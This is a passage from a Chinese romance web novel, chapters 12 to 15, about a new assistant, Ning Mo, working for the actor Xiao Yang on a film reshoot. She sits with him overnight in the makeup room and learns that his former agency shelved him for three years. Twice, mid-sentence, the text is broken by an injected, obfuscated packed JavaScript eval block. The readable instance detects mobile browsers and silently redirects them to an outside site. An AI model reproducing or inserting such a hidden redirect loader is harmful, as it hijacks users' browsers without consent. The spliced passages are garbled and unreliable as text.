直到离职的那一刻，她才真正的觉得开心，那是一种发自内心的轻松和释然，再也不用在复杂的人际关系中内耗。 …… 会议进行到了尾声，几个人收拾东西起身，宁茉也跟在他们身后。 浦世诚还在打趣萧扬：“你这26岁的高龄，演16岁的高中生是不是有点装嫩了？要不晚上给你加急打个针保养保养？” 宁茉没忍住轻声笑了一声，萧扬脚步瞬间一顿。 宁茉有些紧张，眼看着萧扬回头没什么情绪地瞥了自己一眼，随后目光转向浦世诚：“明天早上八点，健身房，不要迟到。” “什么？！”浦世诚的声音猛然提高了八个度：“刚刚不是说你不用健身了吗？” “我是不用健身。”萧扬抬眼看向他：“但我要监督你啊。” 浦世诚瞬间炸了：“不是萧扬你有病吧？你这说的是人话吗？！” “少运动一天能死啊？！再说了，你让我来我就来啊？” “诶不是，你先别走啊，再商量一下！” “……” “九点，九点行了吧，你让我多睡会儿！” 宁茉看着浦世诚追在萧扬身后哀嚎，忍不住问了身边的孙尚万一句：“浦哥……有什么把柄在萧扬手上吗？” 孙尚万顿时笑了：“没有，但萧扬刚认识他的时候，他身体素质特别差，连熬几个大夜就生病，有一回发烧晕倒了，还是萧扬给他送的医院。” “从那以后萧扬就开始监督他健身，这不，练出了一身腱子肉，现在体格可好了，一个能打十个。” 宁茉看向工作室的大门，两个人已经离开了，但依稀还能听到浦世诚在追着萧扬讨价还价。 她大概明白，浦世诚为什么愿意跟着萧扬从原先的公司出来了。 萧扬不是一个会在琐事上消耗精力的人，但他盯着浦世诚健身，一盯就是五年。 只要他上了心，就一定会把那件事做好。 …… “宁茉，你们是明天下午的飞机吧？”孙尚万突然问道。 宁茉点点头：“我们明天下午先过去云城对接，霍妍姐明天上午会先过去，我们到时候在酒店和她汇合。” 孙尚万：“好，那你们今天也不用待在工作室了，给你们放一天假，回去收拾收拾行李，养精蓄锐，准备出差吧，之后的一段时间会有点累，加油加油。” “谢谢孙哥！”宁茉朝他笑了笑。 孙尚万愣了一下，随后挠了挠头：“我发现宁茉你其实长得挺漂亮的，笑起来还这么好看，回头哪天工作室要签女艺人，我一定优先推荐你。” 宁茉脸色有些发红，她不太习惯被人夸：“我要是也能当明星，那明星的门槛也太低了。” “怎么会？”孙尚万看着她，语气有些认真，“你也太不自信了，我看圈里很多明星还没你和依依好看呢。” “什么好看？”宋依依不知道从哪里听到了自己的名字，探了个脑袋出来，“茉茉你刚才怎么也去开会了？说什么了？” 孙尚万笑了：“说要给你放假，让你们休息一天。” “好耶！！！”宋依依抱着宁茉的腰跳来跳去，“那茉茉我们下午去逛街吧？买点好吃的明天路上吃。” 宁茉被她摇的左晃右晃，摇摇头说：“我得回家，还有点事要处理。” 宋依依点点头：“好吧好吧，那我们明天见，我会把你那一份也买了的！” 宁茉看了她一眼，有宋依依这样的小太阳在身边，情绪也莫名会跟着高涨几分。 王墨也收拾好东西，朝她们招招手：“明天见，不用担心行李多，我会帮你们拿的。” 宁茉认真地回复道：“好，明天见。” …… 离开工作室的时候，宁茉抬眼认真地又看了一圈，看了看认真工作的几个人和正在露出肚皮熟睡的山山，轻轻地关上了门。 一种名为不舍的情绪在她心底蔓延，而她直到一路回了家，才意识到自己的想法。 她好像……开始有点喜欢这份工作了。 13. 第 13 章 云城，巫山区。 有些冷清的机场里，一行三人走出来，看着室外碧空如洗的天气赞叹。 “云城的天气也太好了吧！这可比荣城好多了，一点雾霾都没有！” 一身明黄的少女举着自拍杆，拉着旁边正低头看着导航的女孩子：“茉茉，来自拍一张留念！纪念我们第一次出外勤！” 旁边一个戴着黑框眼镜的男生也凑了过来：“我也拍。” 宋依依顿时有些嫌弃：“你先走开啦！先让我们两个拍一张！” …… 吵吵嚷嚷中，宁茉拉着自己和宋依依的行李，跟在两人身后赶路。 宋依依第一个发现，扭头开始责怪王墨：“来之前不是说好了你会替我们提行李吗？怎么一路都是茉茉提啊？” 王墨顿时有点汗流浃背，他没想到两个女孩子的行李箱看起来也不大，怎么能沉得像铁一样，他努力在台阶上提了半天，脸都憋红了才把行李扛下去。 但他更佩服的是宁茉，她一路拎着箱子健步如飞，仿佛她手里的不是个行李箱，而只是一个空纸盒。 他不由得想起宁茉曾经说自己力气很大，那个时候，他以为对方在和他开玩笑，现在王墨才明白，宁茉没有开玩笑，她是真的力气大。 约的车如期而至，三人上了车，径直朝着目的地出发。 云城的温度整体要比荣城温暖一些，即便荣城已经冷的要开始穿羽绒服，云城这边却依旧有不少人还只穿着薄外套。 剧组是临时筹备起来的，据说大部分是《风暴降临》拍摄时的原班人马，常年跟着陈昌拍戏，所以能在两天内筹备好所有事项。 这次补拍集中在几个取景地，距离都不远，霍妍订的酒店就在以这些取景地画圆的中心位置。 霍妍给他们三个人订了两间房，宁茉和宋依依一间，王墨自己一间，放下行李，三个人跟着霍妍直接去了剧组。 剧组有两个副导演，一个叫宫原、一个叫费书山，霍妍带他们对接的就是费书山。 费书山人如其名，看起来也文质彬彬的，他对于萧扬一个临时救场的演员带三个助理这件事丝毫没有表现出任何意外，看起来像是习以为常，不禁让宁茉有些好奇：普通的明星拍戏时会带几个助理？ 这个问题目前是没有人能回答她了，整个剧组都十分繁忙，布景、搭轨道、装灯……每个人走路都恨不得用跑的，偶尔还会有几个人拿着对讲机指挥来指挥去。 这场景反倒有些像电影里的场景，宁茉觉得新鲜，多看了几眼，又想到之前自己对接的那个副导演助理，在片场找了找，似乎不在这里，他大概是跟着另一个副导演宫原工作的。 费书山简单介绍了一下第二天早上要拍的戏，把需要注意的事项和霍妍说了一遍，三个人连忙低头拿出手机默契的开始录音，生怕漏了什么信息。 费书山：“今天晚上要调整一下人物造型，拍定妆照，化妆团队就在酒店等着，萧扬来了就开始化妆，ok吗？” 霍妍立刻点头：“好，我这边也会通知萧扬尽快赶到酒店。” “辛苦了，”费书山说道，“明天早上八点开始拍摄，演员七点半前需要到场。” 霍妍：“几点开始化妆？” “六点，化妆间的房号稍后会发给你。” “对了，剧本有一点改动，我叫人打印好送到你房间。” “还有，电影用的是同期声，现场其他人员需要保持安静。” “……” 他一口气说了很多事情，听得宁茉有些头晕，霍妍却神色如常，一一应下。 对接完已经到了晚上八点，霍妍带着三个人去了酒店旁的饭店，简单吃了顿便饭。 “酒店有自助餐厅，你们以后吃饭直接刷房卡挂账就好，”霍妍工作十分细致，给三个人分好了工，安排他们轮流跟组，“我只能在这里待三天，三天后我需要回荣城，到时候你们三个就要独立行动了。” 宋依依顿时有点紧张：“霍妍姐，你这么快就要走啊？” 霍妍点点头：“嗯，荣城还有很多事要忙。” 她转头看到宋依依眼巴巴看着自己，语气放轻了些：“不用担心，浦世诚也在，有问题及时和他沟通。” “……好吧。” 宁茉慢慢吃着饭，消化着今天接收到的巨大信息量，这是一个全然陌生的领域，和她原先想象的场景完全不同，剧组就像一台运转精密的机器，而她要尽快成为其中的一员，不能卡顿、更不能掉链子。 吃饭吃到中途，霍妍出门接了个电话，宋依依放下筷子迫不及待地开口：“不知道为什么，我有点紧张。” 王墨点点头：“我也有这种感觉，这二十天应该不太好过。” 宋依依看向宁茉，有点惊讶：“茉茉，你不紧张吗？” 宁茉吃了一口虾仁，想了想，如实说道：“我也有一点。” 宋依依用掌心托着下巴，轻声道：“难道以前萧扬拍戏也是这么紧张、这么繁忙吗？他晚上十一点飞机才落地，到酒店应该都十二点了，再试人物造型……天哪，这也太累了吧。” 王墨忍不住开口：“他前几天也是这样工作的，简直是个铁人。” 宋依依揉揉自己的脸：“希望我能撑住，千万不要生病！” 宁茉眉心一跳，立刻看向她：“不要说这种话。” “茉茉你怎么这么迷信啊？”宋依依笑了一下，“那我撤回刚刚这句。” 宁茉抿了抿嘴：“这是我们老家那边的说法，你越说什么就越容易来什么。” “知道了，知道了，那我们一起加油吧，要做萧扬最好的辅助！” 三个人对视一眼，都在心里默默地打了打气。 …… 萧扬果然是在当晚十二点赶到的酒店，见到萧扬的瞬间，宁茉有些吃惊，短短两天时间，萧扬整个人瘦了一大圈，脸色也变得有些苍白。 现在的萧扬看起来竟有些清瘦，瞬间就和剧里的角色形象贴合了许多，也不知道他是怎么做到的。 三个助理就站在化妆间门口，萧扬进来看到他们三个，转头看向浦世诚：“让他们回去休息，明天早上再来。” 浦世诚也笑眯眯的把三个人推出了化妆间：“化个妆又用不到你们，不用在这等了，早点休息。对了，明天早上谁跟？” “我和王墨。”宋依依举着手。 “好，你们七点钟过来就行。” 三个人就这样回了房间。 时间太晚，加上奔波了一天，宋依依困得东倒西歪，都没时间再和宁茉聊天，洗完澡就睡了。 宁茉也洗了个澡，坐在床头将灯调到最暗，摸出了枕头下的平板。 她昨天没有和宋依依出去逛街，为的就是尽快把那两个约稿完成，宁茉担心自己外出太忙跟不上画，错过说好的交稿日期。 昨晚画了一晚上，两张画的线稿都已经画好，只需要上色了，宁茉握着笔细致地描摹，一点一点上着色。 房间里很安静，时针静静指向1点，宋依依翻了个身，有些迷糊地睁眼：“茉茉？” 宁茉放下平板看向她：“怎么了？开着灯睡不着吗？” 说着，她就要去伸手关灯。 宋依依说话带着浓重的鼻音，似乎并没有完全清醒，只是凭着一点点残存意识在问她：“你怎么还不睡啊？” “哦，我不困，你先睡吧。” 宁茉还是关掉了床头的灯，房间彻底陷入黑暗，宋依依似乎很快就睡着了，呼吸变得平稳，宁茉把平板放到被子里，继续画稿。 这时，她的手机突然震动了一下。 这声音在夜晚的房间里显得很突兀，宁茉低头去看，发现浦世诚拉了个小群，里面是他和三个助理。 [浦世诚:都睡了吗？] 没有人回答。 宁茉拿起手机回复了一句：“怎么了？” 如果不是有急事，浦世诚不会深夜打扰大家。 …… [浦世诚：宁茉，能不能麻烦你来一下化妆间？片场那边出了点问题，我现在要赶去处理] [浦世诚：萧扬说他自己一个人也可以，但他这几天连轴转，我有点不放心] [宁茉：好，我马上就来。] 重新打开床头灯，宁茉先朝着旁边看了一眼，宋依依睡得很香，并没有被她吵醒。 宁茉动作很轻地穿上衣服，拿上手机，悄声出了门。 酒店走廊空无一人，就连电梯也安静地停在一楼，夜晚的灯光有些昏暗，这场景看起来竟还有些吓人。 但宁茉习惯了夜晚，神色自如的走在走廊中，很快就到了化妆间所在的楼层。 这一层和别的楼层比起来格外不同，化妆间门口不停有人在走动，隔着很远都能听到里面的声音。 浦世诚就等在门口，看到她来，大步迎了过来：“抱歉啊，深夜把你吵醒了。” “没关系，”宁茉摇摇头，又问道，“片场怎么了？” 浦世诚：“没什么大事，我去处理一下，很快就回来，这是萧扬的房卡，如果他提前结束，你就让他回房间休息。” 犹豫了一下，浦世诚还是说道：“如果到了6点我还没回来，可能还要再麻烦你6点叫他过来化妆——或者你告诉宋依依这件事，让她来提醒，你这边忙完就回去睡吧。” 宁茉细眉微皱，浦世诚竟然觉得他6点前还回不来，看来片场那边的确出了不小的问题。 她没有再细问，只是接过房卡：“我在这边需要做什么？” “征求一下萧扬的意见，和化妆师团队再确定几套造型，等他做好妆造提醒他去隔壁的房间拍定妆照，别的没什么事了。” “好。”宁茉一一记下。 “对了，萧扬这几天太累了，几乎也没怎么吃饭，我的包里有给他的营养冲剂，你等下提醒他喝。” “……”宁茉一怔，难怪看着萧扬整个人都憔悴了很多，他竟然为了贴合角色，连饭也不吃。 交代完这些，浦世诚拿上车钥匙离开了酒店。 宁茉走进化妆间，穿过繁忙的人群，径直走到了化妆镜旁。 萧扬闭着眼睛在养神，任由化妆师在他脸上描画，他似乎没有察觉到浦世诚离开了。 剧本就放在他的手边，上面多了很多用不同颜色的笔圈画出的重点，应该是这几天萧扬背台词时画的。 宁茉没有出声，坐到他身边，隔着镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两个人安静地对视了足足十秒，宁茉才如梦初醒般恍神，她脸上闪出一瞬间的迷茫，意识到自己竟然盯着萧扬发呆了这么久、还被对方识破后，脸颊瞬间烧了起来。 脸红几乎是肉眼可见的，宁茉看了一眼镜子里的自己，顿时更觉得尴尬，慌乱地移开目光，她解释道：“浦哥……浦哥说片场那边出了一点问题，他先去处理了，让我在这里。” “嗯。”萧扬点点头，“我这里没什么事，困的话你就回去休息。” “我不困，”宁茉立刻摇摇头，“对了，浦哥让我把这个给你。” 她手边提着浦世诚的包，那里面是一些萧扬的常用品，宁茉翻了翻，找出营养冲剂，倒到保温杯里，又加了点热水递给萧扬。 萧扬看了她一眼，却没有伸手去接。 宁茉以为他不知道那是什么，解释道：“营养冲剂。” “我知道，”萧扬淡淡开口，“我还用不着喝这个。” “……”宁茉怔了一下，看着他发红的眼圈，萧扬这两天大概都没有好好睡觉，甚至可能没有睡觉，眼底有很多红血丝。 虽然知道他是为了进入角色，但宁茉还是摇摇头：“不行，要喝。” 这大概是她第一次对萧扬说不行，萧扬微怔了一下，显然也没想到宁茉会拒绝。 宁茉鼓起勇气，把保温杯举到了萧扬的面前：“要喝的……浦哥交代过的。” 他不好好吃饭，再不补充必要的营养元素，身体会被拖垮的。 萧扬微微偏头，像是认真地看了她一眼，随后开口：“浦世诚说什么你都听？” “……？”宁茉不太明白萧扬的关注点为什么在这里，她抿了抿唇，说道，“你最近太累了，需要……补充一下。” 萧扬却像是故意和她作对，挑眉说道：“倒了吧，就说我喝过了。” “这个很贵的。” “那你喝了，正好熬夜辛苦——补充一下。”最后四个字显然是学了宁茉的语气，说的又轻又慢。 宁茉微微睁大双眼，没想到萧扬还会说出这种话。 一直在旁没有开口的化妆师终于忍不住笑了：“小助理是为你好呢，你怎么还逗她。” 萧扬唇角微扬：“她太听话了。” 太听浦世诚的话了，看起来像浦世诚才是她老板。 宁茉：“……” 眼看劝了半天还是没让萧扬喝那杯营养冲剂，宁茉有点失落，却也没再坚持，只是拧紧了保温杯的盖子，以免它凉了。 一直到造型做完，宁茉都牢牢抱着那个保温杯，即使在选衣服的时候也没有松开过手。 萧扬换好衣服，不紧不慢地看了她一眼，在即将走出房间门的时候，终于没忍住开口：“给我吧。” “什么？”宁茉没有反应过来，第一反应以为萧扬要房卡，慌忙解释，“你要先去隔壁房间拍定妆照。” 萧扬有些好笑地看着她怀里宝贝似的保温杯：“不是要我喝吗？” “哦……给！”宁茉眼底一亮，立刻把保温杯递了过去。 萧扬动作很利索，拧开盖子仰头就喝，几下就喝完了那一杯冲剂，将杯子还给她：“回去睡吧，这里不需要你了。” “可是……” 宁茉一句话还没说完，就感觉一双手放到了自己肩上，随后，一股不容抗拒的力道将她转了个方向，朝向电梯的方向轻轻一推。 与此同时，萧扬带着轻笑的声音在耳边响起。 “好了，敬业的小助理，你该下班了。” 14. 第 14 章 宁茉还要说话，抬头却看到一个熟悉的身影朝着他们走过来，是浦世诚。 “浦哥！”宁茉顿时高兴起来，朝着他挥挥手，“这里这里！片场那边的事情处理完了？” “嗯，”浦世诚点点头，“辛苦你了，你先回去吧。” “好，那我回去了。” 眼看宁茉干脆利落地转身，连再多看自己一眼都没有，萧扬眉头微皱，眼底浮现出一丝不悦。 “回来的这么早？” 浦世诚一听就知道萧扬在挤兑他，扯了个笑容：“是啊，本来还能再早点，奈何你那个暗恋对象舍不得，不让我走。” 萧扬一顿：“……我哪来的暗恋对象？” 浦世诚：“乔娜娜啊，剧里阑牧暗恋多年的美貌校花嘛！” 萧扬：“……” 浦世诚：“你是不知道这个女的多难缠，非要等海文成进组再来拍，我连说带哄，才让她同意明天拍摄。” “萧扬，你这魅力可不够啊，她那些戏份和海文成半点关系都没有，都要痴情的等人家来，你这暗恋了好几年，人家连个眼神也不给啊。” 萧扬冷笑一声：“浦世诚，我看你是还不困。” 浦世诚听他这么一说，看了眼手机上的时间显示，“嘶”了一声，瞬间没了开玩笑的心情：“怎么都快凌晨三点了！赶紧拍赶紧拍，你明天六点，不是，等会儿六点就又要起床拍戏了！” “摄影师人呢？快点快点！都快点！” 他推着萧扬进拍摄房间，随后催起了摄影师。 拍摄持续到了四点，浦世诚困得东倒西歪，萧扬倒是始终敬业，认真拍完了三套造型的定妆照。 两人离开化妆间，朝着电梯走去。 浦世诚长长打了个哈欠：“累死我了，还好有宁茉救场，不然今晚真不知道要折腾到几点。” 萧扬闻言，目光扫向他：“你半夜把她叫起来的？” “当然不是，”浦世诚挥了挥手，“我一点的时候在群里问他们谁还没睡，宁茉主动回答了我，然后就过来了。” 萧扬微微皱眉：“这么晚她还没睡。” “年轻人嘛，都很能熬夜的，”浦世诚擦了擦眼角困出来的泪水，“不像我上了年纪，熬不动喽。” 萧扬没理他，浦世诚自顾自说道：“不过宁茉这小姑娘还真挺让我意外的，需要她的时候一定能在，对娱乐圈的一些事情也清楚，忘了问她之前是不是有过工作经验了。” 萧扬突然看向他：“你不是看过她的简历吗？” “简历里没写啊，”浦世诚盯着不断上升的电梯楼层显示，继续说道，“但她处理事情确实周到，也知道不少明星，嘿，估计以前关注过圈里哪个明星。” 萧扬眼眸一动，若有所思，浦世诚却又摇摇头：“不过她肯定不会只关注一个，现在的小姑娘们墙头一堆，今天喜欢这个，明天那个火了就再看看那个，哪天不高兴了再脱粉，也都正常。” 萧扬：“……” 电梯停在了十层，浦世诚还没说话，萧扬已经率先走了出去，大步流星，背景冷漠地让浦世诚愣怔了一下。 “你等等我啊！急什么，你房卡都还在我这儿呢！” “诶？萧扬你怎么了？” “你怎么不理我啊？？？” …… 宁茉开门时很担心吵醒宋依依，好在直到她摸黑走到床边，宋依依那边都没有什么动静。 静静躺下，宁茉闭上眼，脑海里却浮现出刚才和萧扬直愣愣对视的情景，郁闷地在床上翻了个身。 面对萧扬的时候，她好像总是不能专心地进入工作状态，明明想好了要单纯把萧扬当做自己的老板，把这三个月当做一次难得的体验，但一见到萧扬，就总是事与愿违。 这样可不行，她要端正心态，虽然这是自己追了两年的偶像，但她毕竟也算是个理智的追星族，大多时候是在网上默默关注，仅有的几次线下也没有做出任何逾矩的事情，如果给萧扬的粉丝们评一个礼貌追星奖，宁茉绝对能拿一等。 她甚至连萧扬的腹肌图也没有保存过，第一次直面萧扬的腹肌还是在清晨的健身房里、隔着健身衣看到的。 ……还真的有八块啊。 意识到自己在想什么，宁茉捏了捏自己的鼻子，刚刚还说自己规规矩矩追星，没有一点多余的幻想、怎么现在就开始想一些别的事情了？！ 又翻了个身，自我批评了一顿后，宁茉终于有了一点困意。 她闭上眼睛，很浅地睡了一会儿，意识模模糊糊，仿佛始终听得清宋依依平稳的呼吸声。 直到一阵闹铃突然响起。 大概是宋依依的铃声，是一段旋律悠扬的女声吟唱，声音由小变大，在房间里响了足有三分钟，也没有见它的主人关掉它。 宁茉无奈地睁开眼，转头看了一眼宋依依。 她显然是听到闹钟响了，但是并没有起床的意愿，整个人裹在被子里，像个缩进壳的乌龟。 “……依依，”宁茉轻声喊道，“该起来了。” “嗯……唔？”宋依依迷糊地伸了个脑袋出来：“几点了？” “六点半了，你七点就要跟着萧扬出门了，起床吧。” “哦……啊？……”宋依依显然是脑子还没有转过来，说话语速非常的慢，“六点半啦……我再睡十分钟，十分钟叫我。” “……好吧。” 六点四十，宁茉起身摇了摇宋依依的肩膀，语气轻柔：“起来了。” 宋依依这次有了动静，她顶着一头乱蓬蓬的头发坐起来，闭着眼走去了洗浴室。 直到洗漱完成，宋依依才真正的清醒过来：“茉茉？你怎么起得这么早？是不是我的闹钟把你吵醒了，对不起啊。” “没事，”宁茉坐在床头，手里已经拿起了平板，“快七点了，你快去吧。” 宋依依快速的套好衣服，她来不及化妆，随手拿了个口罩戴到脸上，走到门口时低头看了眼手机，随后一愣，忽然转过头来看宁茉：“茉茉，昨晚浦哥叫你过去了？” 宁茉不甚在意地点点头：“对，昨晚浦哥去片场了，我替他守了一会儿化妆间。” 宋依依：“天哪，那你几点回来的？” 宁茉想了想：“大概三点多吧。” 宋依依惊讶地瞪大了眼睛：“三点多回来，六点多就又醒了？” 她看着已经打算起床的宁茉，满脸歉意：“茉茉，你再睡一会儿吧，我以后会把闹钟声音调小一点的。” 宁茉只好催她：“没关系，我不困了，你快去吧。” “那好吧，下午见。” ——剧组第一天拍摄，霍妍为了让三个人尽快适应节奏，把三个人的工作分开排班，保证每个人每天都能休息小半天，上午的行程是王墨和宋依依跟，下午宁茉去换王墨的岗。 …… 宋依依走后，宁茉起来简单洗了把脸，把昨天没顾得上收拾的行李箱收拾了一通，把带来的衣服都挂在衣柜里整理好，随后坐到了书桌前，开始继续画稿。 今天的进展格外顺利，仅仅两个小时，一幅画已经差不多完成，另一幅也只剩一些细节。 宁茉揉了揉一直低头而酸胀的脖颈，感觉有些饿了。 酒店的自助早餐七点开餐，萧扬他们大概是跟不上吃早餐，也不知道怎么吃的饭，宁茉换了身衣服，拿着房卡出了门。 自助餐厅在一楼，这会儿正是人多的时候，宁茉简单拿了几样东西，倒了一杯豆浆坐到了角落，开始慢慢吃饭。 酒店大概住了不少剧组的工作人员，此刻她旁边一桌就正在讨论《风暴降临》，两个桌子距离很近，刚好听得清楚对话。 “萧扬本人竟然这么帅吗？我之前怎么都没注意过这个人。” “他之前被公司冷藏三年，你当然注意不到。” 宁茉端着豆浆的手一顿，整个人愣了一下。 冷藏？ …… 隔壁的对话还在继续。 “你是说那个……那个叫什么来着……” “众星。” “哦对！众星娱乐！捧出了白野的那个公司对吧？萧扬竟然也在？还被冷藏过？” “不知道了吧，我也是之前有个活动接触了白野，听跟着白野的工作人员说的，说萧扬和白野是众星娱乐同一批签的新人，刚开始萧扬发展势头很好，但后来他不知道怎么得罪了公司老板被冷藏了，公司就转而捧白野，白野火起来的那部网剧，最早定的男主角可是萧扬。” “我的天，还有这一段呢……那萧扬和白野岂不是成对头了？” “萧扬现在的人气和白野差的可不是一点半点，哪里对得上啊？而且他们不在一个公司了，萧扬解约了，成立了自己的个人工作室，不受众星娱乐控制了。” “这样啊……那这样看来萧扬还挺惨的，他今年26岁了吧？最好的年纪被冷藏三年，竟然还能自己成立工作室继续演戏，换了别人可能早就退圈了。” “可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14407598|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈导也就是看中他这点儿，所以选他演了两部剧吧。不过说实话，《如意环》里的帝师人设不讨喜，《风暴降临》里这个学生角色戏份又太短，能不能红起来还两说呢。” …… 隔壁又陆陆续续说了些别的，但宁茉没有听进去，她满脑子都是“冷藏了三年”这句话，愣了许久都回不过来神。 萧扬……还被冷藏过？ 她完全不知道这件事，也从来没有听任何粉丝说过。 三年啊……算算时间，正好是她不关注的那三年。 突然没了继续吃饭的欲望，宁茉放下筷子拿起手机，点开了微博。 微博一如既往的热闹，各种各样明星的八卦和动态轮番刷新，宁茉搜索了一下关键词，“萧扬冷藏”，却没出来什么新闻。 只有零零星星的几个粉丝吐槽，说萧扬是被冷藏了吗，怎么这几年动态这么少，底下还有人回复，怀疑萧扬是不是要退圈了。 萧扬被冷藏这件事是真实发生的，却连一点消息都没有听说过，无论是萧扬本人，还是和他的公司联络的多的粉丝站，都没有任何风声。 唯一有一个看着像是知情的人，说众星娱乐不做人，踏实演戏的男演员比不过会钻空子讨好高层的花架子，这条微博看起来和萧扬有一点点联系，但宁茉点进去，底下却连一条评论都没有，她点进那个博主的首页，发现竟然也是一片空白。 像是一只无形的大手盖住了一切，如果有人试图从缝隙中窥见一点真相，便会迅速被挡住眼睛，不留一点余地。 ……再往回推想，也不是没有一点端倪的。 白野火起来的时候，许多萧扬的站姐和粉丝群都纷纷转粉，他们像是约好了一般，同时对萧扬绝口不提，却转而投向白野的怀抱。 那时宁茉偶尔有空看看自己的群消息，便发现好几个群都莫名其妙变成了白野的粉丝群，有人在群里质疑，被毫不留情地踢了出去。 她虽然觉得奇怪，但也不想和别人起冲突，退了又退，最终只剩下一个不怎么活跃的粉丝群延续到了现在。 她也疑惑过，以萧扬的资质能力，为什么只火了两年，两年后就迅速泯然于众，但娱乐圈充满玄学，一朝名起一朝衰败，演的再好的演员，也可能终身都寂寂无名，所以她以为，萧扬只是运气不好。 可原来……在她不知道的那三年里，萧扬竟然是这样过来的。 她不知道具体发生了什么，也不知道萧扬为什么会被冷藏，这些事情说起来和她毫无关系，粉丝原本就不需要为明星的遭遇买单，更何况她那三年自己都过得焦头烂额，顾不上管别人。 但宁茉心底堵着一股劲，说不清道不明，让她堵得慌。 起身回了房间，宁茉打开微信，看了一眼昨晚刚成立的临时群。 宋依依给这个临时小群起了个名字——“新的风暴已经出现”，看起来又中二又可爱，她也是这个群里说话最多的人，一上午发了很多消息，有图片有视频，表情包更是没有重复过。 萧扬临时进组，没时间和剧组的人打招呼就投入了拍摄，宋依依拍了拍场景，又拍了拍演员，一股脑都发到群里，兴奋到连浦世诚都发了信息提醒他们这些信息不要外传。 和萧扬搭档的女演员有些眼熟，宁茉点开又看了几眼，终于想起来这是谁：乔娜娜，是个网红出身的女演员，演了几部小成本网剧，脸确实长得漂亮，在《风暴降临》里饰演无辜被害的校花。 宋依依还发了几条语音，宁茉点开听了一遍。 “呜呜呜今天云城怎么也降温了，好冷啊，我以为我穿的已经够暖和了，结果室外冷的像冰箱！我冻的脚都麻了。” “茉茉你下午一定要记得多穿一点，然后带好暖宝宝，片场热水很紧张，要自己提前带好。” “萧扬哥真抗冻啊，我都没有见他说过冷。” 最后一句让宁茉注意力重新移到片场的图片上，这才发现片场的人纷纷穿上了厚衣服，只有画面中间的萧扬还穿着昨晚那套校服，薄薄一层棉纱，既不遮风也不保暖，单薄的让人心疼。 偏偏萧扬的神情又太过自然，让人甚至不会去想他会不会冷。 房间里很安静，而手机里的片场视频吵吵嚷嚷，热闹的几乎听不清每个人在说什么，在人群之中，萧扬始终是沉默的。 宁茉又看了一遍视频里的萧扬，最终还是站了起来，从衣柜里拿出一件厚外套，将必备物品塞到包里，拿着房卡出了门。 她想去片场，现在。 15. 第 15 章 宁茉赶到片场的时候将近十点，太阳已经出来，室外的温度稍微回暖了一些，但冷风还是刮的人手脚冰凉。 拍摄地在当地的一所中学，正赶上学生放假，校园里空空荡荡，只有一条林间小道上聚集了不少人。 宁茉走过去的时候，拍摄正在进行中，饰演校花的乔娜娜和朋友开心的聊着天走在小道上，周围有很多学生打扮的群众演员，而在一个不起眼的角落，萧扬也慢慢的朝前走着。 他没有向乔娜娜那边看过一眼，低着头、似乎只是专心的想自己的事情，会在乔娜娜笑出来的时候头稍稍往左一偏，过几秒又重新转回来。 他在听乔娜娜说话，却并没有去打扰她们。 “咔！” 陈昌坐在监视器后面，满意地点了点头：“状态不错，再保一条，演员回到初始位置！” 大家迅速行动起来。 …… 宁茉看了一圈，很快就找到了人群里的宋依依和王墨，她绕过正在拍摄的演员们，走到了宋依依身旁。 “茉茉？！”宋依依顿时一脸惊喜，“你怎么来了？你不是下午才来吗。” “我在酒店待着也没事，就先过来了，”宁茉说着，将手里的袋子递给宋依依，“我把你的羽绒服带过来了。” “谢谢谢谢！茉茉你真的太好了，”宋依依连忙把身上的外套脱掉，换上了羽绒服，“我之前没怎么在室外待过，没想到室外这么冷，冻死我了。” 宁茉又取下背在身上的背包，从里面拿出了一个保温壶：“我听你说剧组的热水比较少，来的路上去买了姜汤，你们先喝一点吧。” 宋依依一脸崇拜地看着她变戏法般拿出一沓一次性纸杯、倒了三杯姜汤，满眼都是星星：“茉茉，你是什么贴心小天使！” 宁茉显然不适应这样的夸奖，被夸的有些脸红，将杯子递给身旁的王墨：“喝点姜汤暖和一下，浦哥和霍妍姐呢？” “那边，”王墨指了指陈昌，“在导演那边沟通事情。” 宁茉看了一眼，那边人多，就没有立刻过去，转而看向萧扬。 新的一条拍摄已经完成，萧扬大概是看到了宁茉，直直朝着她走了过来：“怎么过来了？” 宁茉把手里那杯姜汤递给他：“天气太冷了，我给你们带点姜汤。” 萧扬垂眸，接过宁茉手里那杯姜汤：“告诉霍妍下次不用这么麻烦了，不冷。” 他这句话不是疑问语气，似乎已经认定是霍妍要求的，宁茉抿了抿嘴，没有否认。 她趁着萧扬喝姜汤的时间，看了一眼他的状态，萧扬看起来精神还好，但眼下已经有了淡淡的青色，眼底也有些发红。 他大概又没吃早饭，整个人看起来消瘦又颓靡，脸色很白，嘴唇也没什么颜色，只能靠唇膏提供一点血色。 宁茉注意到萧扬的手指有些发红，多半是冻的，她从包里拿出一堆暖宝宝：“冷吗？我这里有暖宝宝，贴在身上会暖和一点。” “不冷。”萧扬一口气喝完姜汤，将杯子还给她，转身就要走。 “萧扬！”宁茉慌忙喊了一声，她的声音有点大，说出口的瞬间自己都被吓了一跳，耳尖顿时有些红，背后也开始发烫。 萧扬停住脚步，转头看着她。 宁茉直直望着他的眼睛，深褐色的瞳孔里倒映出自己的身影：“……你现在不能生病，才第一天拍摄，你要……” 她还在想着该怎么说服萧扬，萧扬却有了动作，他低头看了一眼宁茉手里那一沓暖宝宝，朝着宁茉走了两步。 虽然没有再说话，宁茉却明白他这是同意了，快速撕开包装，把一个暖宝宝递给了萧扬。 萧扬撩起校服外套，咬住校服下摆，露出里面的黑色打底衣，伸手往身上随意一贴，动作极其敷衍。 宁茉看不过去，犹豫了两秒，没有再递给他第二个，而是自己动手，方方正正地贴到了肚脐的位置。 萧扬身体一僵，显然没想到宁茉会直接上手，低头和她对视了一眼。 